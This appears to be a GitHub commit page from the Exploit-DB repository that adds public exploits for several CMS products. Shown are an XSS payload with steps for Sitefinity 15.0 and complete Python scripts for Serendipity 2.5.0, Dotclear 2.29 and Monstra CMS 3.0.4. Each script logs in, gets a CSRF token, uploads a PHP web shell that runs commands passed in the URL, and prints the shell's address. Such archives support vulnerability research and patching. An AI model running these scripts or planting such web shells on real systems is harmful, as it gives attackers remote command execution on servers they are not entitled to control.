Skip to content

Commit 8a32e34

Browse files
author
Exploit-DB
committed
DB: 2024-06-04
8 changes to exploits/shellcodes/ghdb Sitefinity 15.0 - Cross-Site Scripting (XSS) appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated) CMSimple 5.15 - Remote Code Execution (RCE) (Authenticated) Dotclear 2.29 - Remote Code Execution (RCE) Monstra CMS 3.0.4 - Remote Code Execution (RCE) Serendipity 2.5.0 - Remote Code Execution (RCE) WBCE CMS v1.6.2 - Remote Code Execution (RCE)
1 parent ea4df56 commit 8a32e34

File tree

8 files changed

+492
-0
lines changed

8 files changed

+492
-0
lines changed

‎exploits/multiple/webapps/52035.txt

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Exploit Title: Sitefinity 15.0 - Cross-Site Scripting (XSS)
2+
# Date: 2023-12-05
3+
# Exploit Author: Aldi Saputra Wahyudi
4+
# Vendor Homepage: https://www.progress.com/sitefinity-cms
5+
# Version: < 15.0.0
6+
# Tested on: Windows/Linux
7+
# CVE : CVE-2023-27636
8+
9+
# Description: In the backend of the Sitefinity CMS, a Cross-site scripting vulnerability has been discovered in all features that use SF-Editor
10+
11+
# Steps To Reproduce:
12+
13+
Attacker as lower privilege
14+
Victim as Higher privilege
15+
16+
1. Login as an Attacker
17+
2. Go to the function using the SF Editor, go to the news page as example
18+
3. Create or Edit news item
19+
4. On the content form, insert the XSS payload as HTML
20+
5. After the payload is inserted, click on the content form (just click) and publish or save
21+
6. If the victim visits the page with XSS payload, XSS will be triggered
22+
23+
Payload: <noalert><iframe src="javascript:alert(document.domain);">

‎exploits/php/webapps/52036.py

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# Exploit Title: Serendipity 2.5.0 - Remote Code Execution (RCE)
2+
# Discovered by: Ahmet Ümit BAYRAM
3+
# Discovered Date: 26.04.2024
4+
# Vendor Homepage: https://docs.s9y.org/
5+
# Software Link:https://www.s9y.org/latest
6+
# Tested Version: v2.5.0 (latest)
7+
# Tested on: MacOS
8+
9+
import requests
10+
import time
11+
import random
12+
import string
13+
from bs4 import BeautifulSoup
14+
15+
def generate_filename(extension=".inc"):
16+
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
17+
extension
18+
19+
def get_csrf_token(response):
20+
soup = BeautifulSoup(response.text, 'html.parser')
21+
token = soup.find('input', {'name': 'serendipity[token]'})
22+
return token['value'] if token else None
23+
24+
def login(base_url, username, password):
25+
print("Logging in...")
26+
time.sleep(2)
27+
session = requests.Session()
28+
login_page = session.get(f"{base_url}/serendipity_admin.php")
29+
token = get_csrf_token(login_page)
30+
data = {
31+
"serendipity[action]": "admin",
32+
"serendipity[user]": username,
33+
"serendipity[pass]": password,
34+
"submit": "Login",
35+
"serendipity[token]": token
36+
}
37+
headers = {
38+
"Content-Type": "application/x-www-form-urlencoded",
39+
"Referer": f"{base_url}/serendipity_admin.php"
40+
}
41+
response = session.post(f"{base_url}/serendipity_admin.php", data=data,
42+
headers=headers)
43+
if "Add media" in response.text:
44+
print("Login Successful!")
45+
time.sleep(2)
46+
return session
47+
else:
48+
print("Login Failed!")
49+
return None
50+
51+
def upload_file(session, base_url, filename, token):
52+
print("Shell Preparing...")
53+
time.sleep(2)
54+
boundary = "---------------------------395233558031804950903737832368"
55+
headers = {
56+
"Content-Type": f"multipart/form-data; boundary={boundary}",
57+
"Referer": f"{base_url}
58+
/serendipity_admin.php?serendipity[adminModule]=media"
59+
}
60+
payload = (
61+
f"--{boundary}\r\n"
62+
f"Content-Disposition: form-data; name=\"serendipity[token]\"\r\n\r\n"
63+
f"{token}\r\n"
64+
f"--{boundary}\r\n"
65+
f"Content-Disposition: form-data; name=\"serendipity[action]\"\r\n\r\n"
66+
f"admin\r\n"
67+
f"--{boundary}\r\n"
68+
f"Content-Disposition: form-data; name=\"serendipity[adminModule]\"\r\n\r\n"
69+
f"media\r\n"
70+
f"--{boundary}\r\n"
71+
f"Content-Disposition: form-data; name=\"serendipity[adminAction]\"\r\n\r\n"
72+
f"add\r\n"
73+
f"--{boundary}\r\n"
74+
f"Content-Disposition: form-data; name=\"serendipity[userfile][1]\";
75+
filename=\"{filename}\"\r\n"
76+
f"Content-Type: text/html\r\n\r\n"
77+
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
78+
basename($_SERVER['PHP_SELF']); ?>\">\n"
79+
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
80+
type=\"SUBMIT\" value=\"Execute\">\n"
81+
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
82+
\n?>\n</pre>\n</body>\n</html>\r\n"
83+
f"--{boundary}--\r\n"
84+
)
85+
86+
response = session.post(f"{base_url}
87+
/serendipity_admin.php?serendipity[adminModule]=media", headers=headers,
88+
data=payload.encode('utf-8'))
89+
if f"File {filename} successfully uploaded as" in response.text:
90+
print(f"Your shell is ready: {base_url}/uploads/{filename}")
91+
else:
92+
print("Exploit Failed!")
93+
94+
def main(base_url, username, password):
95+
filename = generate_filename()
96+
session = login(base_url, username, password)
97+
if session:
98+
token = get_csrf_token(session.get(f"{base_url}
99+
/serendipity_admin.php?serendipity[adminModule]=media"))
100+
upload_file(session, base_url, filename, token)
101+
102+
if __name__ == "__main__":
103+
import sys
104+
if len(sys.argv) != 4:
105+
print("Usage: python script.py <siteurl> <username> <password>")
106+
else:
107+
main(sys.argv[1], sys.argv[2], sys.argv[3])

‎exploits/php/webapps/52037.py

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)
2+
# Discovered by: Ahmet Ümit BAYRAM
3+
# Discovered Date: 26.04.2024
4+
# Vendor Homepage: https://git.dotclear.org/explore/repos
5+
# Software Link:
6+
https://github.com/dotclear/dotclear/archive/refs/heads/master.zip
7+
# Tested Version: v2.29 (latest)
8+
# Tested on: MacOS
9+
10+
import requests
11+
import time
12+
import random
13+
import string
14+
from bs4 import BeautifulSoup
15+
16+
def generate_filename(extension=".inc"):
17+
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
18+
extension
19+
20+
def get_csrf_token(response_text):
21+
soup = BeautifulSoup(response_text, 'html.parser')
22+
token = soup.find('input', {'name': 'xd_check'})
23+
return token['value'] if token else None
24+
25+
def login(base_url, username, password):
26+
print("Exploiting...")
27+
time.sleep(1)
28+
print("Logging in...")
29+
time.sleep(1)
30+
session = requests.Session()
31+
login_data = {
32+
"user_id": username,
33+
"user_pwd": password
34+
}
35+
login_url = f"{base_url}/admin/index.php?process=Auth"
36+
login_response = session.post(login_url, data=login_data)
37+
if "Logout" in login_response.text:
38+
print("Login Successful!")
39+
return session
40+
else:
41+
print("Login Failed!")
42+
return None
43+
44+
def upload_file(session, base_url, filename):
45+
print("Shell Preparing...")
46+
time.sleep(1)
47+
boundary = "---------------------------376201441124932790524235275389"
48+
headers = {
49+
"Content-Type": f"multipart/form-data; boundary={boundary}",
50+
"X-Requested-With": "XMLHttpRequest"
51+
}
52+
csrf_token = get_csrf_token(session.get(f"{base_url}
53+
/admin/index.php?process=Media").text)
54+
payload = (
55+
f"--{boundary}\r\n"
56+
f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"
57+
f"2097152\r\n"
58+
f"--{boundary}\r\n"
59+
f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"
60+
f"{csrf_token}\r\n"
61+
f"--{boundary}\r\n"
62+
f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}
63+
\"\r\n"
64+
f"Content-Type: image/jpeg\r\n\r\n"
65+
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
66+
basename($_SERVER['PHP_SELF']); ?>\">\n"
67+
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
68+
type=\"SUBMIT\" value=\"Execute\">\n"
69+
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
70+
\n?>\n</pre>\n</body>\n</html>\r\n"
71+
f"--{boundary}--\r\n"
72+
)
73+
upload_response = session.post(f"{base_url}
74+
/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",
75+
headers=headers, data=payload.encode('utf-8'))
76+
77+
if upload_response.status_code == 200:
78+
print(f"Your Shell is Ready: {base_url}/public/{filename}")
79+
else:
80+
print("Exploit Failed!")
81+
82+
def main(base_url, username, password):
83+
filename = generate_filename()
84+
session = login(base_url, username, password)
85+
if session:
86+
upload_file(session, base_url, filename)
87+
88+
if __name__ == "__main__":
89+
import sys
90+
if len(sys.argv) != 4:
91+
print("Usage: python script.py <siteurl> <username> <password>")
92+
else:
93+
base_url = sys.argv[1]
94+
username = sys.argv[2]
95+
password = sys.argv[3]
96+
main(base_url, username, password)

‎exploits/php/webapps/52038.py

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
2+
# Date: 05.05.2024
3+
# Exploit Author: Ahmet Ümit BAYRAM
4+
# Vendor Homepage: https://monstra.org/
5+
# Software Link: https://monstra.org/monstra-3.0.4.zip
6+
# Version: 3.0.4
7+
# Tested on: MacOS
8+
9+
import requests
10+
import random
11+
import string
12+
import time
13+
import re
14+
import sys
15+
16+
if len(sys.argv) < 4:
17+
print("Usage: python3 script.py <url> <username> <password>")
18+
sys.exit(1)
19+
20+
base_url = sys.argv[1]
21+
username = sys.argv[2]
22+
password = sys.argv[3]
23+
24+
session = requests.Session()
25+
26+
login_url = f'{base_url}/admin/index.php?id=dashboard'
27+
login_data = {
28+
'login': username,
29+
'password': password,
30+
'login_submit': 'Log+In'
31+
}
32+
33+
filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=
34+
5))
35+
36+
print("Logging in...")
37+
response = session.post(login_url, data=login_data)
38+
39+
if 'Dashboard' in response.text:
40+
print("Login successful")
41+
else:
42+
print("Login failed")
43+
exit()
44+
45+
time.sleep(3)
46+
47+
edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
48+
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına
49+
erişim
50+
51+
token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="
52+
(.*?)"', response.text)
53+
if token_search:
54+
token = token_search.group(1)
55+
else:
56+
print("CSRF token could not be found.")
57+
exit()
58+
59+
content = '''
60+
<html>
61+
<body>
62+
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
63+
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
64+
<input type="SUBMIT" value="Execute">
65+
</form>
66+
<pre>
67+
<?php
68+
if(isset($_GET['cmd']))
69+
{
70+
system($_GET['cmd']);
71+
}
72+
?>
73+
</pre>
74+
</body>
75+
</html>
76+
'''
77+
78+
edit_data = {
79+
'csrf': token,
80+
'name': filename,
81+
'content': content,
82+
'add_file': 'Save'
83+
}
84+
85+
print("Preparing shell...")
86+
response = session.post(edit_url, data=edit_data)
87+
time.sleep(3)
88+
89+
if response.status_code == 200:
90+
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}
91+
.chunk.php")
92+
else:
93+
print("Failed to prepare shell.")

0 commit comments

Comments
 (0)